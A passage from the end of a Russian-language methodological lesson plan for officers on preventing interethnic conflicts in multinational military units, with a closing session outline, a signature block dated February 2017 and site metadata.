Предлагаемые методические рекомендации по профилак­тике конфликтов в воинских коллективах, возникающих на национальной основе, не претендуют на всеохватывающий характер, а являются обобщением уже имеющегося в вой­сках опыта работы командиров и их заместителей по работе с личным составом. Нет и не может быть единых рецептов на все случаи жизни и для любых подразделений и частей. Поэтому и предложена не совсем обычная классификация воинских коллективов по уровню многонациональности. Как мы убедились, она впол­не приемлема и имеет право на существование, так как по­зволяет оптимизировать весь учебно-воспитательный про­цесс, а также систематизировать работу по профилактике межнациональных конфликтов и трений.

Заключительная часть –  10 минут.

Подведение итогов занятия
Ответы на вопросы, возникшие в ходе занятия
Рекомендации для дальнейшего самостоятельного изучения темы, задание на самоподготовку

Командир ______________________
капитан                               А.Пупкин

 «____» февраля 2017 г.

Категория: Офицеры | Добавил: oleninanatoly (06.03.2017)
Просмотров: 1769 | Теги: Армия, военнослужащие, межнациональные отношения, Защита Отечества, Многонациональный воинский коллекти, воинский коллектив | Рейтинг: 0.0/0
Всего комментариев: 0
avatar